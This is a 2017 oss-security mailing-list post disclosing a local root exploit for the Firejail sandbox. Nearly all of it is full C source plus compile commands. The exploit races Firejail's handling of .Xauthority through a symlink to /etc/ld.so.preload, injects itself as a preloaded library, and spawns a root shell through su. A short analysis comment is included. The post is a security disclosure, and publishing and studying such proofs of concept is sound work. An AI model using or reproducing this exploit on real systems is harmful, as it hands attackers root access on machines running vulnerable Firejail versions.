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Date: Wed, 4 Jan 2017 14:12:48 +0100
From: Sebastian Krahmer <krahmer@...e.com>
To: oss-security@...ts.openwall.com
Cc: netblue30@...oo.com
Subject: Firejail local root exploit

Hi

Please find attached PoC for firejail, which seems to be quite
popular sandboxing tool.

Sebastian

-- 

~ perl self.pl
~ $_='print"\$_=\47$_\47;eval"';eval
~ krahmer@...e.com - SuSE Security Team


/* firejail local root exploit (host to host)
 *
 * (C) 2017 Sebastian Krahmer under the GPL.
 *
 * WARNING: This exploit uses ld.so.preload technique.
 * If you are in bad luck, you may end up with an unusable system.
 * SO BE WARNED. ONLY TEST IT IN YOUR SAFE VM's.
 *
 * Get the beauty that this is a shared lib and a running
 * executable at the same time, as we tamper with /etc/ld.so.preload
 *
 * Therefore you have to compile it like this:
 *
 * $ cc -fPIC -fpic -std=c11 -Wall -pedantic -c firenail.c
 * $ gcc -shared -pie firenail.o -o firenail
 * $ ./firenail
 *
 * DO NOT TELL ME THAT SELINUX WOULD HAVE PREVENTED THIS EXPLOIT.
 * IF I WAS ABOUT TO BYPASS SELINUX ALONG, I WOULD HAVE DONE THE
 * EXPLOIT DIFFERENTLY.
 *
 * Analysis: Sandboxing is cool, but it has to be done right.
 * Firejail has too broad attack surface that allows users
 * to specify a lot of options, where one of them eventually
 * broke by accessing user-files while running with euid 0.
 * There are some other similar races. Turns out that it can be
 * _very difficult_ to create a generic sandbox suid wrapper thats
 * secure but still flexible enough to sandbox arbitrary binaries.
 *
 * Tested with latest commit 699ab75654ad5ab7b48b067a2679c544cc8725f6.
 */
#define _POSIX_C_SOURCE 200212
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>


const char *const ldso = "/etc/ld.so.preload";

int main();

__attribute__((constructor)) void init(void)
{
	if (geteuid())
		return;

	unlink(ldso);
	char *sh[] = {"/bin/sh", "--noprofile", "--norc", NULL};
	setuid(0);
	setgid(0);
	execve(*sh, sh, NULL);
	exit(1);
}


void die(const char *s)
{
	perror(s);
	exit(errno);
}


int main()
{
	printf("[*] fire(j|n)ail local root exploit 2017\n\n");

	char me[4096] = {0}, *home = getenv("HOME");
	if (!home)
		die("[-] no $HOME");
	if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
		die("[-] Unable to find myself");

	char path[256] = {0};
	snprintf(path, sizeof(path) - 1, "%s/.firenail", home);
	if (mkdir(path, 0700) < 0 && errno != EEXIST)
		die("[-] mkdir");

	snprintf(path, sizeof(path) - 1, "%s/.firenail/.Xauthority", home);
	if (symlink(ldso, path) < 0 && errno != EEXIST)
		die("[-] symlink");

	system("firejail --private=.firenail /usr/bin/id");

	int fd = open(ldso, O_RDWR|O_TRUNC);
	if (fd < 0)
		die("[-] open");
	write(fd, me, strlen(me));
	write(fd, "\n", 1);
	close(fd);

	char *su[] = {"/bin/su", NULL};
	execve(*su, su, NULL);
	die("[-] execve su");

	return -1;
}


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